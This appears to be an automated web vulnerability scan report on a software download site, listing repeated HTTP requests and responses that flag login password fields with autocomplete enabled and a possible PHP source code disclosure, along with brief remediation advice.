GET /downloads/t-64-bit-ozum-download-lhtivuds.html/x22 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57059
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54548
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-pidgin-download-kkwthbed.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-rss-reader-download-avwkinlm.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54559
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-skype-download-szhzvwoz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56528
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-teamspeak-download-opmulwsy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59803
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-usenext-download-rizftkeg.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-windows-live-mail-download-melibvyx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54487
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66793
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /drivers/ HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /drivers/64-bit-vista-drivers.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /featured-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:32:35 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 29094
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /linktous.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /new-reviews.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:33:26 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 56251
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /new-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:33:21 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 120254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /saved-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28771
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /saved-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28771
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /software-advanced.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /submit-pad-file.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25564
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /tellafriend.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /top-software-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 140029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
The application appears to disclose some server-side source code written in PHP.
Request
GET /pub/shockwave/cabs/director/sw.cab HTTP/1.1 Host: download.macromedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Fri, 22 Oct 2010 12:14:09 GMT ETag: "e6016-25803-94636640" Accept-Ranges: bytes Content-Length: 153603 Content-Type: text/plain Expires: Mon, 24 Jan 2011 15:06:01 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 15:06:01 GMT Connection: close